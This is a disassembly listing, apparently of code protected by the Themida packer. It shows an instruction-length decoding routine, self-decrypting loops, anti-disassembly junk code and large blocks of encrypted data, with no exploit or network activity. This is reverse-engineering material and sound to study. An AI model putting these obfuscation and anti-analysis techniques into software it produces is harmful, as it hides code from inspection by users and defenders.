; ---------------------------------------------------------------------------


loc_5D77BF:				; CODE XREF: sub_5D7792+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5D77CB:				; CODE XREF: sub_5D7792+28j
		push	ebx
		push	esi
		push	edi


loc_5D77CE:				; CODE XREF: sub_5D7792+91j
					; sub_5D7792+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5D77E1:				; CODE XREF: sub_5D7792+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199C4Eh
		lea	ebp, [ebp+6199AC4h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5D780E
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5D77E1


loc_5D780E:				; CODE XREF: sub_5D7792+6Bj
		cmp	cl, 0Bh
		jz	loc_5D786B
		cmp	al, 66h
		jnz	loc_5D784C
		cmp	[ebp+var_5], 0
		jnz	loc_5D77CE
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5D7844
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5D77CE
; ---------------------------------------------------------------------------


loc_5D7844:				; CODE XREF: sub_5D7792+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5D784C:				; CODE XREF: sub_5D7792+87j
		cmp	al, 67h
		jnz	loc_5D77CE
		cmp	[ebp+var_6], 0
		jnz	loc_5D77CE
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5D77CE
; ---------------------------------------------------------------------------


loc_5D786B:				; CODE XREF: sub_5D7792+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5D7897
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5D789C
; ---------------------------------------------------------------------------


loc_5D7897:				; CODE XREF: sub_5D7792+E4j
		movzx	edi, al
		shr	edi, 1


loc_5D789C:				; CODE XREF: sub_5D7792+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199D06h
		lea	ebp, [ebp+61999C4h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5D7A1E
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5D7962
		dec	ecx
		jz	loc_5D7945
		dec	ecx
		jnz	loc_5D79B5
		cmp	[ebp+var_2], 0
		jnz	loc_5D79B1
		cmp	[ebp+var_5], 0
		jz	loc_5D7924
		mov	byte ptr [ebp+arg_0+3],	2


loc_5D7924:				; CODE XREF: sub_5D7792+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199D92h
		mov	[ebp+arg_6199ADC], 1
		pop	ebp
		jmp	loc_5D79B5
; ---------------------------------------------------------------------------


loc_5D7945:				; CODE XREF: sub_5D7792+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5D798F
		cmp	[ebp+var_5], 0
		jz	loc_5D798F
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5D798F
; ---------------------------------------------------------------------------


loc_5D7962:				; CODE XREF: sub_5D7792+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5D79A8
		cmp	[ebp+var_5], 0
		jz	loc_5D7997
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5D798F
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5D798F:				; CODE XREF: sub_5D7792+1B7j
					; sub_5D7792+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5D79B5
; ---------------------------------------------------------------------------


loc_5D7997:				; CODE XREF: sub_5D7792+1DEj
		cmp	dl, 5
		jnz	loc_5D79B5
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5D79B5
; ---------------------------------------------------------------------------


loc_5D79A8:				; CODE XREF: sub_5D7792+1D4j
		cmp	dl, 6
		jnz	loc_5D79B5


loc_5D79B1:				; CODE XREF: sub_5D7792+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5D79B5:				; CODE XREF: sub_5D7792+174j
					; sub_5D7792+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5D79E3
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5D79C5:				; CODE XREF: sub_5D7792+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5D79C5
		mov	esi, edx


loc_5D79E3:				; CODE XREF: sub_5D7792+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5D7A18
		cmp	edi, 7Fh
		ja	loc_5D7A18
		test	bl, 38h
		jnz	loc_5D7A18
		cmp	[ebp+var_7], 0
		jz	loc_5D7A12
		movzx	eax, [ebp+var_4]
		jmp	loc_5D7A15
; ---------------------------------------------------------------------------


loc_5D7A12:				; CODE XREF: sub_5D7792+271j
		push	1
		pop	eax


loc_5D7A15:				; CODE XREF: sub_5D7792+27Bj
		mov	[ebp+var_1], al


loc_5D7A18:				; CODE XREF: sub_5D7792+255j
					; sub_5D7792+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5D7A1E:				; CODE XREF: sub_5D7792+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5D7A49
		dec	eax
		dec	eax
		jz	loc_5D7A3F
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5D7A51
; ---------------------------------------------------------------------------


loc_5D7A3F:				; CODE XREF: sub_5D7792+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5D7A4E
; ---------------------------------------------------------------------------


loc_5D7A49:				; CODE XREF: sub_5D7792+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5D7A4E:				; CODE XREF: sub_5D7792+2B2j
		add	[ebp+var_1], al


loc_5D7A51:				; CODE XREF: sub_5D7792+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5D7A79
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5D7A64:				; CODE XREF: sub_5D7792+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5D7A64


loc_5D7A79:				; CODE XREF: sub_5D7792+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5D7792	endp

; ---------------------------------------------------------------------------


loc_5D7A80:				; CODE XREF: Themida_:loc_5D7728j
		lea	eax, [ebp+6199B91h]
		mov	[ebp+6141AA5h],	eax
		call	near ptr loc_5D7A99+1
		out	0DFh, eax
		mov	ebp, 625BD3C0h
		push	ebp


loc_5D7A99:				; CODE XREF: Themida_:005D7A8Cp
		int	80h		; LINUX	-
		out	dx, al
		aad	5Fh
		or	dx, 0CEFBh
		add	edi, 6DFFh
		stc
		mov	esi, 1B5Bh
		jp	loc_5D7ABA
		mov	eax, 505B92D9h


loc_5D7ABA:				; CODE XREF: Themida_:005D7AAFj
					; Themida_:005D7B1Fj
		mov	ebx, [edi]
		jnz	loc_5D7ACA
		push	esi
		jg	$+6
		pop	ecx


loc_5D7ACA:				; CODE XREF: Themida_:005D7ABCj
		xor	ebx, 605C112Ch
		mov	al, bh
		add	ebx, 44DE3C01h
		mov	ecx, ebx
		add	ebx, 1FFB22Eh
		jb	loc_5D7AEB
		mov	ecx, 7BD306CFh


loc_5D7AEB:				; CODE XREF: Themida_:005D7AE0j
		push	ebx
		jg	loc_5D7AFA
		jnb	loc_5D7AFA
		push	ecx
		pop	edx


loc_5D7AFA:				; CODE XREF: Themida_:005D7AECj
					; Themida_:005D7AF2j
		pop	dword ptr [edi]
		jmp	loc_5D7B07
; ---------------------------------------------------------------------------
		db 0F0h, 78h, 0
		db 4Ah,	86h, 80h
; ---------------------------------------------------------------------------


loc_5D7B07:				; CODE XREF: Themida_:005D7AFCj
		sub	edi, 10EEE7FAh
		jp	loc_5D7B15
		mov	edx, ebx


loc_5D7B15:				; CODE XREF: Themida_:005D7B0Dj
		add	edi, 10EEE7F6h
		mov	cx, dx
		dec	esi
		jnz	loc_5D7ABA
		or	ch, 0F8h
		call	sub_5D7B3A
		inc	ebx
		test	al, 0CEh
		add	ebx, ecx
		xlat
		mov	al, ds:25C4ED71h
		insb
		nop

; =============== S U B	R O U T	I N E =======================================



sub_5D7B3A	proc near		; CODE XREF: Themida_:005D7B28p
		pusha
		jnz	loc_5D7B5A
		jmp	loc_5D7B5A
; ---------------------------------------------------------------------------
		dw 0F79Bh
		dd 0E45800F6h, 9FFDBDAAh, 0C1A89C9Ah, 0E53579C4h
		db 8Dh,	0CBh
; ---------------------------------------------------------------------------


loc_5D7B5A:				; CODE XREF: sub_5D7B3A+1j
					; sub_5D7B3A+7j
		jp	loc_5D7B62
		pusha
		popa


loc_5D7B62:				; CODE XREF: sub_5D7B3A:loc_5D7B5Aj
		popa
		pop	esi
		push	ecx
		mov	cx, 0B7DCh
		pop	edi
		add	esi, 643Eh
		mov	ch, 17h
		xor	ebx, ebx
		push	esi
		add	ch, 8
		pop	eax


loc_5D7B79:				; CODE XREF: sub_5D7BC9+20j
		push	dword ptr [ebx+esi]
		xor	ax, 0A4EAh
		pop	edx
		xor	al, 0B9h
		xor	edx, 64E892h
		sbb	al, 88h
		add	edx, 58CE9C33h
		jnz	loc_5D7BAC
		jmp	loc_5D7BAC
; ---------------------------------------------------------------------------
		db 89h
		dd 329FE5CFh, 0E13AEF04h, 0FB20231Bh
; ---------------------------------------------------------------------------


loc_5D7BAC:				; CODE XREF: sub_5D7B3A+5Aj
					; sub_5D7B3A+60j
		xor	edx, 0DF021D3h
		mov	[esi+ebx], edx
		stc
		call	sub_5D7BC9
		adc	eax, 0D397A1D9h
		inc	eax


loc_5D7BC1:				; CODE XREF: Themida_:005D7C36j
		mov	dword ptr [edi], 0D8B560CCh
		xor	dh, bh
sub_5D7B3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D7BC9	proc near		; CODE XREF: sub_5D7B3A+7Cp
		jnz	loc_5D7BD5
		jno	$+6


loc_5D7BD5:				; CODE XREF: sub_5D7BC9j
		pop	eax
		sub	ebx, 42609ECEh
		add	ebx, 42609ECAh
		clc
		cmp	ebx, 0FFFF9C98h
		jnz	loc_5D7B79
		jmp	loc_5D7C07
; ---------------------------------------------------------------------------
		dd 4B5BDAB7h, 0A895F7D0h, 0AEFA54C0h, 0ADD52B31h
		db 88h,	1Dh, 85h
; ---------------------------------------------------------------------------


loc_5D7C07:				; CODE XREF: sub_5D7BC9+26j
		lea	ecx, [ebp+619A18Bh]
		push	0
		push	ecx
		call	sub_5D7C18
		and	[ecx-3Dh], bl
sub_5D7BC9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D7C18	proc near		; CODE XREF: sub_5D7BC9+47p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5D7C18	endp

; ---------------------------------------------------------------------------
		imul	eax, [esi+eax*2], 3
		xchg	eax, ecx
		retn
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		jz	short loc_5D7CAA
		add	eax, 86BB2AB8h
		jnp	short loc_5D7BC1
		lea	ebp, [ecx+2Bh]
		adc	al, 6
		push	0
		push	edi
		call	sub_5D7C48
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7C48	proc near		; CODE XREF: Themida_:005D7C40p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5D7C48	endp

; ---------------------------------------------------------------------------
		dd 0A7E88A7Dh, 3CBB665Ah, 5585C7CEh, 14061410h,	6A00005Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 2891C351h, 801E59AAh, 85C739E0h, 614013Dh
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h
		db 81h,	44h
; ---------------------------------------------------------------------------


loc_5D7CAA:				; CODE XREF: Themida_:005D7C2Fj
		and	al, 4
		push	ss
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 0BCh
		dd 0AE9446Eh, 2B000000h, 0F55973F9h, 20E41E7Fh,	11B5FF32h
		dd 6A06141Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 2041C357h, 7834F269h, 130DB589h
		dd 95FF0614h, 6140BD9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0CCC35343h, 0D53D44BFh, 52E271CFh, 5EE28A53h
		dd 95FF006Ah, 6142971h,	3EEBC08Bh, 5BEE9F71h, 0C3BBCF3Fh
		dd 0CF582182h, 0AA55413Ah, 84973CE4h, 73DBB3ECh, 13E23823h
		dd 0BC7679B7h, 0FB0D2C78h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh
		dd 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 8D8D383Ch,	619A295h
		dd 2C699589h, 8D890614h, 6142B69h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0AC35040h, 159D4132h, 579E1275h
		dd 0AE8h, 61875900h, 0B59310Ch,	0FD0B441h, 68Ch, 48DF8100h
		dd 5B0B48F1h, 11E9h, 0EDBF6B00h, 0C3563A32h, 38872AAFh
		dd 0D5926D76h, 85C7D80Eh, 6141055h, 6068h, 0DD76BE66h
		dd 13D85C7h, 614h, 8E90000h, 0AA000000h, 0C1F4A722h, 0FFCCD418h
		dd 140E1DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FDABD09h, 95FFFFB7h, 6140BD9h, 0DE1B509h
		dd 6A0614h, 297195FFh, 0C08B0614h, 377E3EEBh, 45F6E2ADh
		dd 0C502B502h, 4A58A98h, 3EE2E5C8h, 2D69855Ch, 2B776E2h
		dd 4D287ABFh, 64971C38h, 7E849999h, 4B26A166h, 9A64423Dh
		dd 0A934A9B3h, 0B6D0A4F7h, 802F507Ch, 73CE58EAh, 37E9h
		dd 0AAA60C00h, 809E012Fh, 7Ch, 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D8BE3
; ---------------------------------------------------------------------------
		push	619A48Eh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	619A5B5h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	619A75Ah
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	619A894h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	619A9D3h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	619AC26h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	619AD8Fh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	619AE94h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 0Eh,	0FEh, 83h
		dd 0AEDFE07Fh, 0D7D2FD6Ah, 0FFB6D453h, 0E09DAC3Bh, 0DB59F1Ch
		dd 0E07F83FEh, 0F966AAE3h, 0D14ED2CDh, 5D38FCAFh, 31F241EEh
		dd 0C27155E9h, 366567DEh, 54477906h, 2B51B0D0h,	63DB9710h
		dd 282C49DCh, 83AE9110h, 814C55E4h, 99C2686Ah, 0A11C8BA8h
		dd 0E49B3504h, 48CA4E55h, 31BFh, 61807500h, 6799E01Bh
		dd 72800434h, 6C66F431h, 9BFF49DCh, 0B7EA1960h,	5DE0417Dh
		dd 0BF55E49Ch, 67E63950h, 18E03269h, 8BA89AD2h,	0CEECh
		dd 6567C800h, 4A790636h, 26582757h, 0B2ED1960h,	0C3F3E9Ah
		dd 2553F092h, 5ED91DF0h, 0D1B509BCh, 0C0C29DADh, 6E0049CDh
		dd 2C53F07Dh, 316C981Ah, 0FD66FE0Dh, 36CD868h, 403BFF35h
		dd 0ABF948D5h, 167A53F0h, 4E3D4F1Ch, 5127C63Eh,	4359FD3Ah
		dd 0D69549DCh, 4BCFFFBAh, 51D5B9C9h, 0D36ECF3Ah, 5055E4C3h
		dd 7F8E26ECh, 0ADDDD0F2h, 0A9F60529h, 4FCB9B44h, 0B25699EFh
		dd 0D7748003h, 0C2C198B3h, 9CADBCCFh, 0F86713E1h, 5A53D4C9h
		dd 2663028Dh, 0ADFE4B6h, 0D9E90000h, 0C4C562A6h, 0AFDA45C9h
		dd 93B12EF2h, 7C8B1418h, 5A7EFD01h, 5CA0DDECh, 4BCFC6C3h
		dd 31F5B0DCh, 151994B6h, 95A40178h, 2E55E936h, 686723E5h
		dd 5476F135h, 801FD559h, 47E01B61h, 49DC6CD7h, 47F23328h
		dd 0DC55E49Ch, 0EAA1AF78h, 0F45B6C6h, 2F3DA968h, 39B47EFFh
		dd 55E48706h, 1F1279E4h, 0C1A47049h, 0C3511786h, 0A988F13Fh
		dd 1058D8Bh, 0CB920000h, 0B4CBC3BAh, 68EC1C99h,	6744CE44h
		dd 0AA053665h, 9243FE3Fh, 7CC053F0h, 0F092CE7Dh, 0A1DCEE53h
		dd 0F5592DA9h, 441C8F3Fh, 0D5C27767h, 0DB7082DBh, 82FF0AACh
		dd 1E180E8Ah, 0E4B7B5D9h, 6BCAC2E6h, 53F08987h,	3B7290EFh
		dd 6D2022F9h, 910C3EA9h, 94E00179h, 591CC667h, 0B19549DCh
		dd 0CEC5C39Ah, 18D85ABEh, 0B2601563h, 0E9364849h, 0A57B1B28h
		dd 49CB4B90h, 0EBE09475h, 0CB56304Ah, 88A7394Fh, 723AD4Eh
		dd 678B0601h, 14314843h, 2FE56199h, 0C3BECD9Ch,	892B1C8h
		dd 0DB429CAFh, 0F33175Fh, 0B3D24D05h, 1A4A39FEh, 0A626301h
		dd 9B838h, 0FFB2D200h, 0E29BAC3Bh, 0B86811Eh, 336A9807h
		dd 5C5170EFh, 0C97953D8h, 0A443C7BAh, 0BD2AEEA7h, 95121691h
		dd 99F43873h, 37B68522h, 86CD55E9h, 35686702h, 98CA9AF1h
		dd 65B5B3EEh, 4F712EE4h, 215FEA4Bh, 67D453F0h, 0F0210BC6h
		dd 60848853h, 677AB87Ch, 79063665h, 0B0D05447h,	49102B51h
		dd 67D25337h, 0FC53F092h, 0C0447498h, 0AB067132h, 0F0923F0Ah
		dd 0B9F41F53h, 0C2B341C5h, 49DC902Ch, 79C0B3C5h, 22017BE5h
		dd 0CE9D0E3Eh, 404DC7C2h, 55E4E5FEh, 8598FF1Eh,	51C0F4CFh
		dd 130CD555h, 98DBDF8h,	82B9670Bh, 0AA058BA9h, 0E4603E0Dh
		dd 43D1B555h, 63AA0h, 61800C00h, 0AB47E01Bh, 5C49DC65h
		dd 85F34EEFh, 0C7055E4h, 0EE51D0E8h, 0C55E485h,	477AAC1h
		dd 31494445h, 85A594D5h, 5A3E55E4h, 31C3BECDh, 0A89F83A9h
		dd 601138Bh, 80990000h,	0A8E5E061h, 0FB103490h,	0DC4894BAh
		dd 0DC0A5A49h, 6DD3FF60h, 0F7707082h, 8981A5D8h, 0E4A41528h
		dd 0B5B4F755h, 77141E99h, 0BF0CD220h, 0CCAA8BA8h, 6000005h
		dd 5EAF591Eh, 6294112Ah, 0BC49DC6Bh, 2EE49FADh,	948776DAh
		dd 85B7D6DCh, 0B38DFDDCh, 6A001847h, 0E6D75D41h, 0C9C9180Ch
		dd 0FF0C7889h, 0F514B8BEh, 255539DBh, 23582CBDh, 139CA9B0h
		dd 82519D74h, 1A315579h, 0CD02AE9Dh, 0D32125CBh, 0E1CE8DE2h
		dd 6C9AE1D1h, 6BBD1931h, 0D2E590D0h, 7B8F8574h,	0FB89E417h
		dd 2F683DC3h, 0E5BA781Dh, 0FB64A8E3h, 684DD2C9h, 18D0DBC6h
		dd 81392A0h, 0D3D0000h,	0F0118E92h, 0E3EE79BDh,	0C7C562A6h
		dd 0B0DF48CCh, 9EB239FDh, 0A0641928h, 8F930A07h, 75B9F410h
		dd 61A5D8EAh, 0D968B534h, 5A55E935h, 0F48BF739h, 6E1F20D2h
		dd 5CD6324Ah, 0FE0E7D8Fh, 0FA116786h, 0DAF1E1BDh, 22E66A49h
		dd 6C6C1B69h, 4CAD9549h, 0E843FE3Fh, 7CC055E9h,	0E848C7B6h
		dd 0F70855E9h, 3155507Dh, 99AB3A0Dh, 83661EE2h,	6387020Eh
		dd 0E864CF68h, 8B8F55E9h, 0A3DAEC73h, 4542C5Fh,	0B72527C2h
		dd 0AA284D0Eh, 0DF676F74h, 0E902E35Eh, 0F81C6055h, 294BB3Ah
		dd 98B455E9h, 7C8E191Dh, 2BA8916h, 0A73955E9h, 0B4BAD299h
		dd 0CDF115BAh, 1C17CBDh, 8DCA55E9h, 98B4CB66h, 4678171Dh
		dd 0A1B8D357h, 752AE8A3h, 10A2A353h, 682BAF3h, 6FCEFEE2h
		dd 55E911D0h, 83C22908h, 0DCCFF181h, 428ACh, 0E92Ah, 65674000h
		dd 47460536h, 0F41893B1h, 69611C2Bh, 0F88727EDh, 78B9D1CCh
		dd 53F092C9h, 9CACDFE1h, 84B7C524h, 78355229h, 4F4EC440h
		dd 49DAF193h, 0ABD9A013h, 7D7CD8F0h, 55E931CEh,	0ECA0DDEEh
		dd 0FA5EAA68h, 13475A35h, 20F26A69h, 6D9h, 54D8D3F3h, 3FC3BACBh
		dd 24E8A5A0h, 12168DBBh, 0F73B7695h, 0D3F24074h, 0C0CD5ADEh
		dd 0AAA641C5h, 8ABC2BEFh, 1F620F13h, 0E93AA39Eh, 29932055h
		dd 6366567h, 0E7404A79h, 53F09254h, 0C3476BEFh,	0A96D2824h
		dd 8D910C3Eh, 8EBEF312h, 0AFDFD2F1h, 94B3DA79h,	58F43875h
		dd 85948C92h, 0E2Ch, 1D2A3100h,	26EC6860h, 6D2A3Ch, 67400000h
		dd 0A7063665h, 53F06298h, 4B7A9140h, 21BE4239h,	0E1526A25h
		dd 535689Ah, 2D686681h,	8254F6E7h, 0D5053F0h, 0F0ABA7E6h
		dd 6B67E62Ch, 4B471830h, 26273850h, 7384777h, 85326696h
		dd 0A5D2A46Eh, 98133F4Eh, 6BCDD594h, 255653F0h,	3C792B26h
		dd 53F09A0Dh, 6E9E8286h, 9B4028EAh, 25859490h, 0FFFFFEDEh
		dd 3392AF3h, 8B400000h,	0A3DBD2F4h, 0C3EED27h, 0E6E37A91h
		dd 0D85965AFh, 53F09275h, 41793455h, 6696133Eh,	141E7522h
		dd 1D2C430Ch, 0C49BB0EBh, 5ABECEC7h, 7D8F18D8h,	90BFFE0Eh
		dd 0B053F092h, 77EF1F8Eh, 9BE9E296h, 0A07AF651h, 8BB7940h
		dd 0DA58F3AFh, 202C3349h, 108DBA65h, 9D62E602h,	69129ECCh
		dd 9A6634A4h, 0B4000005h, 8A151994h, 67000479h,	72ED316Ch
		dd 4AD55954h, 39C2463Bh, 0EDA0AF17h, 1491BE29h,	7B9710h
		dd 2A6163FCh, 0F7308BE6h, 55E93B44h, 6770B4DFh,	0B5842165h
		dd 6553F092h, 0F3572B66h, 344CBFCFh, 1D1DA38Eh,	9C64C31h
		dd 0E48387FAh, 0E441BCE2h, 53F0F555h, 0D0636AEEh, 0F853F0F5h
		dd 9EE2D6C7h, 1A29B67Ah, 0BCF95467h, 53F0F58Dh,	0B4F00206h
		dd 0E9E19CABh, 4A79903Fh, 16C2463Bh, 8594EFC8h,	24ED6h
		dd 6580C200h, 894EEF1Fh, 352879Dh, 7FADADC4h, 1F848387h
		dd 237h, 8658095h, 2C5C4F71h, 9292A1A8h, 3A1153F0h, 0F0924EFDh
		dd 5D41C553h, 0C8970239h, 414CC6B7h, 53F092F2h,	0BCFD0D71h
		dd 52879DF7h, 7EBF2A11h, 0AD1E6DC3h, 0B8008DE2h, 2195394Ch
		dd 0E108D75Dh, 41E5364Eh, 6DAAB4D0h, 0FA15DBA7h, 0E4A18482h
		dd 0F000001h, 0EC1F6580h, 0E3316C9Dh, 92D067C0h, 5D2C53F0h
		dd 0C044742Fh, 3A523632h, 879D32FBh, 39749652h,	504D7E01h
		dd 6A862E38h, 9F7CCCADh, 0C6056CABh, 0B8A5C9C4h, 64FB365Dh
		dd 0B81C2C69h, 0DD48967Ah, 9C568482h, 42000001h, 0EC1F6580h
		dd 0F092E843h, 0F4070B53h, 922D1C99h, 0A2A653F0h, 1CD55450h
		dd 0BE52879Dh, 0F43A385Fh, 42848387h, 66960D3Bh, 91B5E819h
		dd 169E083h, 8BCC0000h,	5AD8D5F4h, 0F3088385h, 5310F665h
		dd 0CE44DF95h, 0D1FE8DFEh, 0D220A4D4h, 8C900B3Dh, 546715F4h
		dd 7BB9F415h, 9523EF48h, 40C449DCh
		dd 9556E948h, 75B455E5h, 95AE9D1Ah, 212555E5h, 4AE50CD3h
		dd 979D1833h, 0A99025CBh, 4EB18Bh, 8B7F0000h, 92AC9F18h
		dd 232753F0h, 780CDDD1h, 920B3C43h, 0AB141E7Ah,	0DC6C1C0Ah
		dd 3C4B1249h, 47CD4941h, 0E724AD23h, 8395103Ch,	0AFD3EA84h
		dd 0A62F1E9Fh, 20F55E4h, 0DAEC738Bh, 0CD3ABA3h,	0C5005DE5h
		dd 0C07EACAEh, 8E188BA8h, 94000000h, 6366567h, 0A0AC4A79h
		dd 0B6C9C1E5h, 9EE11994h, 0ACED316Ch, 53F097C2h, 4BCFBEC0h
		dd 0ADDEAA3Bh, 0DFF27C00h, 5E6AF549h, 0D3F7A6D8h, 95C49CAFh
		dd 4F06B4B3h, 9BE2DD57h, 72ED316Ch, 12D95E53h, 0EA691635h
		dd 347A072h, 41410000h,	2C5DCA4Eh, 1732AD71h, 0FB09969Ah
		dd 0E4E37C80h, 0F2E665A9h, 0C4484544h, 0B3772E5Bh, 999D1834h
		dd 7D81FC0Eh, 3D0CA910h, 0B655E93Eh, 68679B1Dh,	0AAB0635h
		dd 53F0923Fh, 9642D0B4h, 8084F709h, 0D3F48BB2h,	3B1B44DAh
		dd 58229B4Eh, 880305DAh, 2DA1E573h, 0AA157D8Ah,	1035C68h
		dd 7BC7868Ah, 0CB53F06Eh, 0EE1E97B4h, 138EBD6Ah, 285CAD01h
		dd 403D4C13h, 0C6B4F1B2h, 5F49DC6Ah, 67FD37FBh,	0C4BFCD65h
		dd 1F2C50B4h, 0C94B4240h, 2D6062FDh, 3C4899E9h,	63ECAE0Fh
		dd 0FA0549DCh, 0A4BBD3CEh, 7BDFEFA6h, 9A1B3357h, 55E483A3h
		dd 0BC6F8641h, 0D4E49FADh, 10DEA270h, 0AE8BA89Ah, 32h
		dd 1B61800Ah, 6CD747E0h, 242849DCh, 9CAA9514h, 514855E4h
		dd 895FF0Ah, 55E49C39h,	60B2D6BAh, 0B866749Bh, 0C68BA89Ah
		dd 0C0h, 0BAF3146Bh, 0F48BF678h, 8655DFD6h, 6EF10984h
		dd 5B29225Fh, 4658C1F3h, 0A9151F7Fh, 102B4D6h, 3F76938Ch
		dd 6A9CE31Bh, 0AD1833h,	53F0BA31h, 8C44CEB2h, 0F0BF21CDh
		dd 2C5F6153h, 0BDCC93E8h, 0C64CC8C0h, 7484F709h, 504D7807h
		dd 6D1BEAC2h, 5A1DD15Eh, 89D649DCh, 191D017Ch, 0DFEC9869h
		dd 0CB98545Eh, 92A9AD4Fh, 3DC1BCCBh, 29EEA3A2h,	6301F06Ch
		dd 0DE869404h, 0E8000001h, 0C661A5D8h, 0DB44C8C5h, 0B631F5B0h
		dd 8E191D98h, 7DFE027Fh, 0A1DCEB5Bh, 0C8C5C25Dh, 0F4AFDB44h
		dd 0E695B730h, 0ABF47722h, 55E93F98h, 6734F81Bh, 84FBC768h
		dd 0ECF43B58h, 0A9DB44C8h, 8482D9F2h, 854F0B09h, 0A30C6180h
		dd 53F09290h, 0F00B2F13h, 0CECBC685h, 0DDD85ABEh, 49DC6C4Dh
		dd 0F2898286h, 18602ED1h, 41A39AC3h, 64D7D75Dh,	0DC59FDECh
		dd 26ECE93Bh, 0E49288B7h, 84EB6A55h, 0A88CA876h, 0BC368Bh
		dd 67E20000h, 95063665h, 34FEBBD6h, 5356867h, 0F097CAA4h
		dd 0C7B6C853h, 97384843h, 85000B6Eh, 0DF1F1175h, 5F0C06B8h
		dd 0F8A852Dh, 47779BFFh, 417A0EDFh, 62E59ED6h, 7950D8C0h
